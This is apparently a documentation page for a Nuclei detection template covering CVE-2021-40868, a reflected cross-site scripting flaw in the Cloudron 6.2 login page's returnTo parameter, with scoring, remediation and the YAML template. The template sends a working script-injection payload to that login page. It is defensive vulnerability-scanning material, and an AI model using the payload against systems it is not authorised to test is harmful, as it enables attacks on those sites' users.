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Cloudron 6.2 Cross-Site Scripting

ID: CVE-2021-40868

Severity: medium

Author: daffainfo

Tags: cve2021,cve,xss,cloudron,packetstorm

Description

Section titled “Description”

In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.

YAML Source

Section titled “YAML Source”
id: CVE-2021-40868


info:
  name: Cloudron 6.2 Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: Upgrade to Cloudron 6.3 or higher.
  reference:
    - https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40868
    - https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
    - https://www.cloudron.io/
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40868
    cwe-id: CWE-79
    epss-score: 0.00464
    epss-percentile: 0.75425
    cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cloudron
    product: cloudron
  tags: cve2021,cve,xss,cloudron,packetstorm


http:
  - method: GET
    path:
      - '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"


      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'


      - type: status
        status:
          - 200
# digest: 4a0a00473045022016da5dca5a293ecca7dc65249a9f9895dc75798f5dc3cc7ed2ca7c88898128a6022100d77f3b1a1b0b23a2842a02877dee5d7561334506cc30e6675fdcd78c751da8c6:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-40868.yaml"

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